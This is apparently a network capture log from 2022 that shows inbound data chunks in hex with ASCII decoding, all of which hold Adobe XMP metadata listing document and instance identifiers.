2022-07-20 13:44:18 UTC	4465	IN	Data Raw: 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 39 38 34 37 33 35 33 35 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 41 33 42 31 45 31 38 42 41 32 44 45 31 31 42 45 44 37 43 35 37 44 45 34 38 36 46 45 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 44 35 36 35 38 44 41 39 41 41 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 30 32 46 31 43 42 34 35 32 33 45 31 31 31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 36 30 36 36 39 38 43 31 45 44 31 31 44 42 41 31 31 39 41 43 36 Data Ascii: rdf:li>uuid:BD9847353546DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:BDA3B1E18BA2DE11BED7C57DE486FE49</rdf:li> <rdf:li>uuid:BDD5658DA9AA11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:BE02F1CB4523E111B0DFB86470705002</rdf:li> <rdf:li>uuid:BE606698C1ED11DBA119AC6
2022-07-20 13:44:18 UTC	4472	IN	Data Raw: 32 42 45 43 45 32 39 37 34 44 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 31 38 36 44 45 41 38 37 36 36 45 30 31 31 42 41 45 45 38 32 33 30 33 31 31 36 46 44 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 36 38 44 38 36 39 35 39 31 42 44 44 31 31 39 39 34 37 45 30 33 43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 39 38 30 41 32 31 35 41 45 36 44 45 31 31 39 30 41 45 42 41 46 36 33 33 32 46 43 36 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 41 31 39 30 31 30 42 36 42 37 44 45 31 31 38 46 39 32 43 37 39 33 33 36 38 43 42 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: 2BECE2974D198</rdf:li> <rdf:li>uuid:DE186DEA8766E011BAEE82303116FD2D</rdf:li> <rdf:li>uuid:DE68D869591BDD119947E03C52BEF1B0</rdf:li> <rdf:li>uuid:DE980A215AE6DE1190AEBAF6332FC6C0</rdf:li> <rdf:li>uuid:DEA19010B6B7DE118F92C793368CB351</rdf:li> <rdf:li>uuid
2022-07-20 13:44:18 UTC	4488	IN	Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 38 39 45 34 39 46 39 44 45 33 30 39 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 39 35 36 43 30 45 44 32 32 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 35 39 33 46 44 31 30 36 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 36 43 30 45 43 39 44 36 46 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: 4</rdf:li> <rdf:li>xmp.did:01801174072068119189E49F9DE3090B</rdf:li> <rdf:li>xmp.did:018011740720681192B08956C0ED2270</rdf:li> <rdf:li>xmp.did:018011740720681192B09593FD106902</rdf:li> <rdf:li>xmp.did:018011740720681192B096C0EC9D6FC5</rdf:li> <rdf:li>xmp.
2022-07-20 13:44:18 UTC	4504	IN	Data Raw: 37 36 32 34 44 32 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 39 34 44 43 32 38 32 32 46 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 45 46 31 41 36 45 33 36 41 42 44 46 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 39 46 31 42 36 39 31 35 33 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: 7624D21CA</rdf:li> <rdf:li>xmp.did:04801174072068118DBBE94DC2822FDB</rdf:li> <rdf:li>xmp.did:04801174072068118EF1A6E36ABDF900</rdf:li> <rdf:li>xmp.did:04801174072068118F629F1B691538C0</rdf:li> <rdf:li>xmp.did:04801174072068118F62EE64CEC33CEF</rdf:li> <rdf
2022-07-20 13:44:18 UTC	4512	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 38 33 37 39 41 31 45 33 42 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 42 37 36 46 36 43 34 30 32 44 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 45 43 36 44 39 38 46 43 42 42 33 41 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 Data Ascii: i> <rdf:li>xmp.did:068011740720681197A58379A1E3B414</rdf:li> <rdf:li>xmp.did:0680117407206811994CB76F6C402DAA</rdf:li> <rdf:li>xmp.did:06801174072068119EC6D98FCBB3A492</rdf:li> <rdf:li>xmp.did:0680117407206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:0680
2022-07-20 13:44:18 UTC	4528	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 35 35 66 62 39 34 2d 37 34 64 38 2d 31 63 34 63 2d 61 38 36 39 2d 61 65 39 31 34 36 64 32 35 31 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 31 64 36 61 2d 62 34 61 31 2d 34 39 36 36 2d 39 62 37 31 2d 30 66 37 31 33 66 63 38 36 39 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 35 35 65 34 2d 66 33 31 37 2d 36 34 34 63 2d 61 39 35 33 2d 36 64 64 65 64 65 64 62 35 38 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 65 61 37 35 38 34 2d 65 61 65 61 2d 66 31 34 63 2d 39 30 39 31 2d 61 30 38 39 62 39 30 31 33 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: > <rdf:li>xmp.did:0e55fb94-74d8-1c4c-a869-ae9146d251f5</rdf:li> <rdf:li>xmp.did:0e831d6a-b4a1-4966-9b71-0f713fc86995</rdf:li> <rdf:li>xmp.did:0e8355e4-f317-644c-a953-6ddededb58f6</rdf:li> <rdf:li>xmp.did:0eea7584-eaea-f14c-9091-a089b901311e</rdf:li> <rdf:
2022-07-20 13:44:18 UTC	4544	IN	Data Raw: 61 2d 34 33 30 35 2d 38 37 30 65 2d 36 38 34 65 34 39 65 37 64 34 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 39 38 30 33 33 2d 36 38 36 39 2d 34 31 63 65 2d 39 30 31 37 2d 39 62 66 63 37 36 39 62 64 37 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 41 43 44 38 43 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 38 45 35 34 38 33 42 36 39 31 45 34 31 31 41 41 34 32 45 43 44 44 33 35 42 44 43 44 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 39 66 66 35 30 31 2d 39 33 39 30 2d 38 65 34 63 2d 39 35 61 39 2d 37 64 30 Data Ascii: a-4305-870e-684e49e7d45a</rdf:li> <rdf:li>xmp.did:20798033-6869-41ce-9017-9bfc769bd75d</rdf:li> <rdf:li>xmp.did:207ACD8C07206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:208E5483B691E411AA42ECDD35BDCD6B</rdf:li> <rdf:li>xmp.did:209ff501-9390-8e4c-95a9-7d0
2022-07-20 13:44:18 UTC	4552	IN	Data Raw: 43 45 31 46 43 43 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 41 37 46 41 34 34 37 46 41 43 31 31 45 31 39 35 35 45 42 31 31 39 35 33 39 35 31 32 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 42 30 43 35 44 41 46 31 32 30 36 38 31 31 42 44 34 43 46 34 46 39 43 30 31 45 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 44 45 33 30 41 34 37 44 36 41 31 31 45 30 42 31 42 46 45 43 36 30 38 36 37 33 39 36 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 46 32 44 42 36 30 32 39 32 30 36 38 31 31 41 36 31 33 46 36 33 37 39 42 39 42 32 30 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: CE1FCC73</rdf:li> <rdf:li>xmp.did:27A7FA447FAC11E1955EB11953951227</rdf:li> <rdf:li>xmp.did:27B0C5DAF1206811BD4CF4F9C01E982A</rdf:li> <rdf:li>xmp.did:27DE30A47D6A11E0B1BFEC60867396BF</rdf:li> <rdf:li>xmp.did:27F2DB6029206811A613F6379B9B20C2</rdf:li> <rdf:
2022-07-20 13:44:18 UTC	4568	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 46 39 42 38 46 35 33 37 32 36 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 64 66 30 39 62 62 2d 34 64 37 37 2d 34 32 37 30 2d 39 37 35 64 2d 63 39 38 39 37 32 64 36 66 31 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 30 32 34 38 35 39 31 45 32 30 36 38 31 31 38 46 36 32 42 30 37 31 36 39 32 31 45 41 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 31 34 32 38 36 35 39 35 32 30 36 38 31 31 39 31 30 39 45 35 35 34 31 35 34 44 33 32 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: li> <rdf:li>xmp.did:35F9B8F537266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:35df09bb-4d77-4270-975d-c98972d6f180</rdf:li> <rdf:li>xmp.did:360248591E2068118F62B0716921EAB0</rdf:li> <rdf:li>xmp.did:36142865952068119109E554154D32B1</rdf:li> <rdf:li>xmp.did
2022-07-20 13:44:18 UTC	4584	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 32 35 30 31 31 34 30 43 38 45 31 31 31 41 46 38 42 41 32 37 33 30 46 46 45 31 32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 36 38 38 36 44 30 41 32 30 36 38 31 31 38 32 32 41 42 35 41 45 42 42 44 34 35 33 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 46 44 33 35 37 35 33 42 32 30 36 38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 61 38 66 30 65 39 2d 66 36 38 33 2d 66 33 34 64 2d 39 61 39 39 2d 37 62 65 30 32 32 37 62 66 65 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: df:li> <rdf:li>xmp.did:44E2501140C8E111AF8BA2730FFE128C</rdf:li> <rdf:li>xmp.did:44E6886D0A206811822AB5AEBBD45312</rdf:li> <rdf:li>xmp.did:44FD35753B2068118083E18EC590233A</rdf:li> <rdf:li>xmp.did:44a8f0e9-f683-f34d-9a99-7be0227bfe18</rdf:li> <rdf:li>xmp.
2022-07-20 13:44:18 UTC	4592	IN	Data Raw: 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 38 39 31 44 42 34 36 39 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 41 32 35 33 36 31 37 30 32 35 36 38 31 31 39 33 37 35 45 30 39 31 36 39 37 38 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 42 30 44 34 33 37 30 39 44 43 44 46 31 31 38 35 42 37 46 36 38 44 42 43 32 46 38 43 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: F3B</rdf:li> <rdf:li>xmp.did:4D891DB469216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:4D9F09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:4DA25361702568119375E09169783C56</rdf:li> <rdf:li>xmp.did:4DB0D43709DCDF1185B7F68DBC2F8CF4</rdf:li> <rdf:li>xm
2022-07-20 13:44:18 UTC	4608	IN	Data Raw: 38 31 31 39 37 41 35 39 44 42 37 33 36 46 35 33 35 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 34 33 32 36 30 44 31 39 32 30 36 38 31 31 38 44 42 42 42 33 34 38 37 44 46 34 37 33 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 35 45 46 43 34 34 46 36 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 31 44 43 36 30 31 34 32 30 36 38 31 31 38 37 31 46 45 44 30 33 43 31 42 30 36 30 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 36 31 32 44 44 43 38 31 45 45 32 31 31 42 43 33 39 44 42 39 41 41 33 39 42 46 37 42 30 3c 2f 72 64 Data Ascii: 81197A59DB736F535FE</rdf:li> <rdf:li>xmp.did:5D43260D192068118DBBB3487DF47355</rdf:li> <rdf:li>xmp.did:5D5EFC44F62068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:5D71DC6014206811871FED03C1B060F7</rdf:li> <rdf:li>xmp.did:5D7612DDC81EE211BC39DB9AA39BF7B0</rd
2022-07-20 13:44:18 UTC	4624	IN	Data Raw: 44 38 43 38 33 46 38 33 44 32 31 39 46 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 36 30 37 43 43 45 31 39 32 30 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 39 45 39 35 43 38 34 32 44 43 45 30 31 31 38 44 41 42 44 36 32 32 30 44 44 41 34 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 42 41 38 35 31 30 45 37 32 45 38 31 31 38 44 33 43 41 36 35 30 45 43 35 33 41 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 45 41 34 45 30 30 45 32 30 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 Data Ascii: D8C83F83D219F7B</rdf:li> <rdf:li>xmp.did:6B607CCE19206811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:6B9E95C842DCE0118DABD6220DDA49C7</rdf:li> <rdf:li>xmp.did:6BBBA8510E72E8118D3CA650EC53AA58</rdf:li> <rdf:li>xmp.did:6BBEA4E00E206811AB08EACFC69DF9C8</rdf:li
2022-07-20 13:44:18 UTC	4631	IN	Data Raw: 46 31 34 45 33 31 31 41 31 31 41 44 42 30 41 44 34 46 30 31 44 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 32 41 36 34 41 38 30 37 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 43 41 31 31 34 38 32 32 30 36 38 31 31 38 43 31 34 38 30 34 34 46 35 33 41 30 46 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 62 35 34 30 61 2d 36 37 38 61 2d 34 32 34 37 2d 38 39 38 32 2d 31 36 36 61 61 39 63 36 34 38 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 34 31 30 38 31 46 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 Data Ascii: F14E311A11ADB0AD4F01DCF</rdf:li> <rdf:li>xmp.did:722A64A8072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:723CA114822068118C148044F53A0F87</rdf:li> <rdf:li>xmp.did:723b540a-678a-4247-8982-166aa9c6484e</rdf:li> <rdf:li>xmp.did:7241081F0A2068118A6DC638F9FC
2022-07-20 13:44:18 UTC	4647	IN	Data Raw: 44 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 31 41 31 37 32 41 32 45 32 30 36 38 31 31 38 33 36 37 43 31 36 37 32 41 37 32 37 31 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 32 39 63 30 30 39 2d 35 66 30 33 2d 34 34 66 31 2d 38 39 36 61 2d 30 62 35 39 32 63 33 66 64 30 61 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 33 64 31 36 33 64 2d 37 32 37 39 2d 34 36 61 65 2d 39 66 65 63 2d 35 34 32 63 36 32 30 63 33 36 62 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 35 42 37 35 37 42 45 45 43 37 45 33 31 31 42 36 44 35 43 44 30 46 33 37 37 34 39 41 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: D27A</rdf:li> <rdf:li>xmp.did:821A172A2E2068118367C1672A727171</rdf:li> <rdf:li>xmp.did:8229c009-5f03-44f1-896a-0b592c3fd0a7</rdf:li> <rdf:li>xmp.did:823d163d-7279-46ae-9fec-542c620c36b6</rdf:li> <rdf:li>xmp.did:825B757BEEC7E311B6D5CD0F37749A43</rdf:li> <
2022-07-20 13:44:18 UTC	4663	IN	Data Raw: 2d 39 30 61 35 2d 35 30 30 64 38 31 63 37 34 37 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 35 32 35 38 61 32 2d 61 64 66 66 2d 34 31 61 65 2d 38 64 36 37 2d 32 37 61 32 33 36 63 64 39 36 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 38 30 61 36 63 65 2d 39 38 36 38 2d 63 62 34 34 2d 38 65 61 37 2d 37 31 35 39 30 35 66 35 37 38 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 38 38 64 62 62 2d 36 66 62 39 2d 64 39 34 36 2d 62 64 37 32 2d 36 30 33 65 61 65 61 38 61 66 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 39 30 66 39 33 2d 65 65 64 33 2d 61 32 34 63 2d 61 33 37 36 2d 35 Data Ascii: -90a5-500d81c7477f</rdf:li> <rdf:li>xmp.did:8e5258a2-adff-41ae-8d67-27a236cd9613</rdf:li> <rdf:li>xmp.did:8e80a6ce-9868-cb44-8ea7-715905f57865</rdf:li> <rdf:li>xmp.did:8ea88dbb-6fb9-d946-bd72-603eaea8af6c</rdf:li> <rdf:li>xmp.did:8ea90f93-eed3-a24c-a376-5
2022-07-20 13:44:18 UTC	4671	IN	Data Raw: 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 35 41 36 38 42 45 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 36 61 39 62 38 38 2d 66 32 33 36 2d 34 61 31 63 2d 61 39 35 33 2d 30 31 66 31 62 38 36 62 62 65 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 37 66 34 34 63 63 2d 61 32 63 31 2d 38 63 34 64 2d 61 30 35 34 2d 36 34 30 36 35 66 38 63 64 37 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 39 38 66 32 66 36 2d 33 66 31 66 2d 34 62 34 35 2d 62 33 63 31 2d 64 66 31 39 39 63 36 32 64 64 37 31 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 35</rdf:li> <rdf:li>xmp.did:965A68BE0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:966a9b88-f236-4a1c-a953-01f1b86bbe0e</rdf:li> <rdf:li>xmp.did:967f44cc-a2c1-8c4d-a054-64065f8cd7fb</rdf:li> <rdf:li>xmp.did:9698f2f6-3f1f-4b45-b3c1-df199c62dd71</rdf:li>
2022-07-20 13:44:18 UTC	4687	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 39 31 36 41 33 41 31 41 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 45 31 43 46 46 37 37 34 32 31 36 38 31 31 39 39 34 43 41 31 41 43 41 37 35 43 45 34 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 31 34 39 32 41 39 45 31 42 45 31 31 31 38 38 45 33 41 45 39 44 39 32 43 41 45 46 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 46 41 44 45 43 30 46 32 30 36 38 31 31 39 32 42 30 46 43 38 35 30 32 37 33 30 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 30 37 45 30 43 42 46 Data Ascii: df:li>xmp.did:A8916A3A1A2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:A8E1CFF774216811994CA1ACA75CE444</rdf:li> <rdf:li>xmp.did:A8F1492A9E1BE11188E3AE9D92CAEF2E</rdf:li> <rdf:li>xmp.did:A8FFADEC0F20681192B0FC8502730FE5</rdf:li> <rdf:li>xmp.did:A907E0CBF
2022-07-20 13:44:18 UTC	4703	IN	Data Raw: 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 33 36 38 32 36 36 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 34 41 37 43 43 34 39 45 39 33 44 46 31 31 39 30 41 43 42 36 35 35 32 42 44 43 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 37 42 33 38 35 32 32 41 32 30 36 38 31 31 39 32 42 30 41 34 32 34 38 37 30 35 39 42 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 42 30 41 34 43 42 32 45 32 30 36 38 31 31 38 30 38 33 45 36 44 38 33 31 32 42 31 38 39 37 3c 2f 72 64 66 Data Ascii: 1192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:C2368266901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:C24A7CC49E93DF1190ACB6552BDCB702</rdf:li> <rdf:li>xmp.did:C27B38522A20681192B0A42487059B16</rdf:li> <rdf:li>xmp.did:C2B0A4CB2E2068118083E6D8312B1897</rdf
